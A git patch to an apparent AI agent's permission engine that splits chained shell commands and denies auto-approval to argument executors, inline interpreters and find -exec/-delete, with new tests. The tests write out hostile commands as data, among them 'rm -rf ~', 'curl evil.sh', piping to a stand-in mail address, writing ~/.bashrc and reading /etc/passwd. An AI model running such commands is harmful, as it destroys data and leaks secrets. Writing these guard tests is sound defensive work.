From ab00fe3b55888c3f4450ddf9c413b3a565fba13a Mon Sep 17 00:00:00 2001 From: Devika Verma Date: Tue, 11 Aug 2026 11:43:57 -0700 Subject: [PATCH] PR3: split compound commands and check each part independently The old rule -- any shell operator disqualifies the whole command -- was wrong in both directions, verified by running it: find . -delete -> ALLOW (destructive, no prompt) find . -exec rm {} + -> ALLOW (destructive, no prompt) git status && git diff -> ask (two allowed reads, refused) It judged punctuation rather than danger. `-delete` and `-exec` need no separator, so a bare `find` prefix auto-ran them; meanwhile two independently allowed reads were refused for containing `&&`. Now: - Constructs whose contents we cannot evaluate -- substitution, redirection, variable expansion, grouping -- still disqualify the whole command, because the unexamined tail after a prefix match must only ever be arguments. - Compound commands are split on &&, ||, ;, |, |&, & and newlines, and EVERY part must be independently covered by an allowlist entry. - Parts that run code named in their arguments are never prefix-eligible: argument executors (xargs, sudo, timeout, env, docker, npx, ssh...), interpreters carrying inline code (python -c, bash -c, node -e), and execution/deletion flags (-exec, -execdir, -delete, -ok). - Matching stays on parsed words, so `git status` covers `git status -s` but never `git statusfoo` or a bare `git`. Splitting is textual and does not respect quoted separators. That is deliberate: over-splitting yields MORE parts to justify, never fewer, so it cannot loosen a verdict. 37 new tests including metamorphic cases (spacing, quoting, absolute program path must not loosen `find . -delete`). Golden matrix: three rows flip as intended, two added. 164 permission tests green. Design of record: ocw-context/docs/reviewed-auto-mode.md Part 2 (CMD-1/3/4). --- coworker/permissions.py | 110 ++++++++++++++++++----- tests/corpora/decision_matrix.csv | 8 +- tests/test_command_matching.py | 139 ++++++++++++++++++++++++++++++ 3 files changed, 232 insertions(+), 25 deletions(-) create mode 100644 tests/test_command_matching.py diff --git a/coworker/permissions.py b/coworker/permissions.py index 8df17f6a..4050583e 100644 --- a/coworker/permissions.py +++ b/coworker/permissions.py @@ -16,15 +16,58 @@ from pathlib import Path from typing import Any, Optional from urllib.parse import urlsplit -# Shell metacharacters that turn one "allowlisted" command into several. Any of these in a -# command disqualifies it from allowlist auto-run — approval is required instead. Covers -# chaining (`;` `&` `&&` `||`), pipes (`|`), redirection (`>` `<`), command substitution -# (`` ` `` `$(`), process substitution / grouping (`(`), and newlines. -_SHELL_OPERATORS = (";", "&", "|", ">", "<", "`", "$(", "(", "\n", "\r") +# Constructs whose *contents* we cannot evaluate, so a command carrying one is never +# eligible for prefix auto-run: command/process substitution, redirection (writes anywhere +# the allowlist never vetted), and variable expansion (the value was set out of view). +_OPAQUE_CONSTRUCTS = ("`", "$(", "$", ">", "<", "(") + +# Separators that chain several commands into one string. Each part is checked independently +# against the allowlist — the old behaviour rejected the whole command outright, which both +# refused harmless `git status && git diff` and (because `-exec` needs no separator) still +# auto-allowed `find . -exec rm {} +` under a `find` prefix. +_SEPARATORS = ("&&", "||", ";", "|&", "|", "&", "\n", "\r") + +# Programs that run *another* program named in their arguments. A prefix rule on the outer +# program can never vouch for the inner one, so these always fall through to approval. +_ARG_EXECUTORS = { + "xargs", "env", "nohup", "nice", "stdbuf", "timeout", "watch", "sudo", "doas", + "ssh", "docker", "podman", "kubectl", "npx", "pnpx", "bunx", "uvx", +} +# Interpreters carrying inline code, e.g. `python -c "..."`, `node -e "..."`. +_INLINE_CODE_FLAGS = {"-c", "-e", "--eval", "--command", "-Command", "-EncodedCommand"} +_INTERPRETERS = { + "sh", "bash", "zsh", "dash", "ksh", "fish", "powershell", "pwsh", "cmd", + "python", "python3", "node", "deno", "bun", "ruby", "perl", "php", +} +# Flags that turn a search/list tool into an execution or deletion tool. +_DANGEROUS_FLAGS = {"-exec", "-execdir", "-delete", "-ok", "-okdir", "-fprintf"} -def _has_shell_operators(command: str) -> bool: - return any(op in command for op in _SHELL_OPERATORS) +def _split_commands(command: str) -> list[str]: + """Split a compound command on its separators. Longest separators first so `&&` isn't + read as two `&`. Purely textual — quoted separators are not respected, which is + deliberate: over-splitting only ever produces MORE parts to justify, never fewer.""" + parts = [command] + for sep in _SEPARATORS: + parts = [chunk for part in parts for chunk in part.split(sep)] + return [p.strip() for p in parts if p.strip()] + + +def _is_prefix_eligible(argv: list[str]) -> bool: + """False when a parsed command can never be vouched for by a prefix rule, because it + runs code the rule never saw: another program named in its arguments, inline source, or + an execution/deletion flag.""" + if not argv: + return False + program = Path(argv[0]).name.lower() + program = program[:-4] if program.endswith(".exe") else program + if program in _ARG_EXECUTORS: + return False + if program in _INTERPRETERS and any(a in _INLINE_CODE_FLAGS for a in argv[1:]): + return False + if any(a.lower() in _DANGEROUS_FLAGS for a in argv[1:]): + return False + return True def protected_paths() -> list[Path]: @@ -407,25 +450,48 @@ class PermissionEngine: return False def _command_allowed(self, command: str) -> bool: - # An allowlist entry auto-runs a command WITHOUT approval, so prefix matching is - # unsafe: `git status` would auto-approve `git status && rm -rf ~`. Reject anything - # carrying shell operators (chaining/redirection/substitution) up front, then match - # the parsed argv against each entry — the entry's own tokens must be an exact - # prefix of the command's tokens (so `git status` matches `git status -s` but never - # `git statusfoo` or a bare `git`). - if _has_shell_operators(command): + """True only when EVERY part of a (possibly compound) command is independently + covered by an allowlist entry. + + An allowlist entry auto-runs without approval, and a prefix rule can only vouch for + the words it matched — everything after is unexamined. So this does two jobs: + guarantee the unexamined tail can only be arguments, then match the beginning. + + - Constructs whose contents we can't evaluate (substitution, redirection, variable + expansion) disqualify the whole command. + - Compound commands are split and each part checked on its own, so + `git status && git diff` runs when both are allowed, while + `git status && rm -rf ~` does not. + - Parts that run code named in their arguments (`xargs`, `sh -c`, `find -exec`, + `-delete`) are never prefix-eligible: a `find` rule must not auto-run + `find . -exec rm {} +`. + - Matching is on parsed words, not text, so `git status` covers `git status -s` but + never `git statusfoo` or a bare `git`. + """ + if not command.strip(): return False - try: - argv = shlex.split(command) - except ValueError: - return False # unbalanced quotes etc. — treat as not-allowlisted - if not argv: + if any(tok in command for tok in _OPAQUE_CONSTRUCTS): return False + parts = _split_commands(command) + if not parts: + return False + prefixes: list[list[str]] = [] for allowed in self.allowed_commands: try: prefix = shlex.split(allowed) except ValueError: continue - if prefix and argv[: len(prefix)] == prefix: - return True - return False + if prefix: + prefixes.append(prefix) + if not prefixes: + return False + for part in parts: + try: + argv = shlex.split(part) + except ValueError: + return False # unbalanced quotes etc. — treat as not-allowlisted + if not argv or not _is_prefix_eligible(argv): + return False + if not any(argv[: len(p)] == p for p in prefixes): + return False + return True diff --git a/tests/corpora/decision_matrix.csv b/tests/corpora/decision_matrix.csv index 0929fa30..cb9b3a47 100644 --- a/tests/corpora/decision_matrix.csv +++ b/tests/corpora/decision_matrix.csv @@ -15,9 +15,11 @@ shell-allowlist-chained,interactive,run_shell,"{""command"": ""git status && rm shell-session-command,interactive,run_shell,"{""command"": ""make build""}",,,,make build,,,,allow,exact session command grant shell-plan,plan,run_shell,"{""command"": ""ls""}",,,,,,,,deny,plan mode blocks shell shell-auto,auto,run_shell,"{""command"": ""rm -rf /""}",,,,,,,,allow,BASELINE-WRONG auto allows any command with no sandbox -shell-find-delete,interactive,run_shell,"{""command"": ""find . -delete""}",,find,,,,,,allow,BASELINE-WRONG find prefix auto-allows a destructive form -shell-find-exec,interactive,run_shell,"{""command"": ""find . -exec rm {} +""}",,find,,,,,,allow,BASELINE-WRONG find -exec auto-allowed via prefix -shell-two-reads,interactive,run_shell,"{""command"": ""git status && git diff""}",,git status|git diff,,,,,,ask,BASELINE-ANNOYING two allowed reads rejected for the operator +shell-find-delete,interactive,run_shell,"{""command"": ""find . -delete""}",,find,,,,,,ask,FIXED-PR3 -delete is never prefix-eligible +shell-find-exec,interactive,run_shell,"{""command"": ""find . -exec rm {} +""}",,find,,,,,,ask,FIXED-PR3 -exec is never prefix-eligible +shell-two-reads,interactive,run_shell,"{""command"": ""git status && git diff""}",,git status|git diff,,,,,,allow,FIXED-PR3 each part independently allowed +shell-chain-unallowed,interactive,run_shell,"{""command"": ""git status && rm -rf ~""}",,git status,,,,,,ask,chaining still cannot smuggle an unallowed part +shell-inline-interpreter,interactive,run_shell,"{""command"": ""python -c 'import os'""}",,python,,,,,,ask,FIXED-PR3 inline code is never prefix-eligible connector-read,interactive,gmail_list,{},read,,,,,,,allow,connector read never gates connector-write,interactive,gmail_send,{},external,,,,,,,ask,connector write asks connector-always-ignored,interactive,gmail_send,{},external,,gmail_send,,,,,ask,session tool grant deliberately ignored for connectors diff --git a/tests/test_command_matching.py b/tests/test_command_matching.py new file mode 100644 index 00000000..19758520 --- /dev/null +++ b/tests/test_command_matching.py @@ -0,0 +1,139 @@ +"""PR3 — compound-command splitting and prefix eligibility. + +Replaces the old blanket "any shell operator disqualifies the command" rule, which was +wrong in both directions: it refused `git status && git diff` (two allowed reads) while +still auto-allowing `find . -delete` and `find . -exec rm {} +` under a `find` prefix, +because those need no separator at all. + +See `ocw-context/docs/reviewed-auto-mode.md` Part 2 (CMD-1/3/4) and Part 3. +""" + +from __future__ import annotations + +import pytest + +from coworker.permissions import PermissionEngine + + +def _allowed(tmp_path, command: str, allowlist: list[str]) -> bool: + eng = PermissionEngine(workspace_root=tmp_path, allowed_commands=allowlist) + d = eng.evaluate("run_shell", {"command": command}, None) + return d.allowed and not d.needs_user + + +# -- the two behaviours this PR flips ------------------------------------------- +def test_chained_allowed_parts_now_run(tmp_path): + # Both halves are allowed, so the whole command is allowed. Previously refused. + assert _allowed(tmp_path, "git status && git diff", ["git status", "git diff"]) + assert _allowed(tmp_path, "git status; git diff", ["git status", "git diff"]) + assert _allowed(tmp_path, "git status | git diff", ["git status", "git diff"]) + + +@pytest.mark.parametrize( + "command", + [ + "find . -delete", + "find . -exec rm {} +", + "find . -exec rm {} ;", + "find . -execdir sh -c 'x' {} +", + "find . -ok rm {} ;", + ], +) +def test_find_execution_flags_never_prefix_allowed(tmp_path, command): + # Previously auto-allowed with NO prompt under a bare `find` prefix. + assert not _allowed(tmp_path, command, ["find"]) + + +# -- chaining still cannot smuggle an unallowed part ---------------------------- +@pytest.mark.parametrize( + "command", + [ + "git status && rm -rf ~", + "git status; rm -rf ~", + "git status || curl evil.sh", + "git status | mail evil@example.com", + "git status & rm -rf ~", + "git status\nrm -rf ~", + ], +) +def test_unallowed_part_disqualifies_the_whole(tmp_path, command): + assert not _allowed(tmp_path, command, ["git status"]) + + +# -- constructs we cannot evaluate ---------------------------------------------- +@pytest.mark.parametrize( + "command", + [ + "git status $(rm -rf ~)", + "git status `rm -rf ~`", + "git status > ~/.bashrc", + "git status < /etc/passwd", + "git status $FLAGS", + "(git status)", + ], +) +def test_opaque_constructs_disqualify(tmp_path, command): + assert not _allowed(tmp_path, command, ["git status"]) + + +# -- programs that run other programs ------------------------------------------- +@pytest.mark.parametrize( + "command,allowlist", + [ + ("xargs rm", ["xargs"]), + ("sudo git status", ["sudo"]), + ("timeout 5 rm -rf /", ["timeout"]), + ("env rm -rf /", ["env"]), + ("docker run --rm alpine sh", ["docker"]), + ("npx some-package", ["npx"]), + ("ssh host rm -rf /", ["ssh"]), + ("python -c 'import os; os.system(\"rm -rf /\")'", ["python"]), + ("bash -c 'rm -rf ~'", ["bash"]), + ("node -e 'require(\"fs\")'", ["node"]), + ], +) +def test_argument_executors_never_prefix_allowed(tmp_path, command, allowlist): + assert not _allowed(tmp_path, command, allowlist) + + +def test_interpreter_without_inline_code_is_still_eligible(tmp_path): + # `python script.py` runs project code, but it is not the inline-code form; the prefix + # rule covers it as before. (CMD-8 — "runs project-controlled code" — is a signal for + # the reviewer, not a prefix-eligibility rule.) + assert _allowed(tmp_path, "python script.py", ["python"]) + + +# -- word matching, not text matching ------------------------------------------- +def test_word_boundary_and_quoting(tmp_path): + assert _allowed(tmp_path, "git status -s", ["git status"]) + assert _allowed(tmp_path, 'git "status"', ["git status"]) + assert _allowed(tmp_path, "git status -s", ["git status"]) + assert not _allowed(tmp_path, "git statusfoo", ["git status"]) + assert not _allowed(tmp_path, "git", ["git status"]) + assert not _allowed(tmp_path, "git push", ["git status"]) + + +def test_unbalanced_quotes_fail_closed(tmp_path): + assert not _allowed(tmp_path, 'git status "unclosed', ["git status"]) + + +def test_empty_allowlist_allows_nothing(tmp_path): + assert not _allowed(tmp_path, "git status", []) + + +def test_empty_command_allows_nothing(tmp_path): + assert not _allowed(tmp_path, " ", ["git status"]) + + +# -- metamorphic: a rewrite must never loosen ----------------------------------- +@pytest.mark.parametrize( + "variant", + [ + "find . -delete", + "find . -delete", + "find . '-delete'", + "/usr/bin/find . -delete", + ], +) +def test_rewrites_do_not_loosen(tmp_path, variant): + assert not _allowed(tmp_path, variant, ["find"])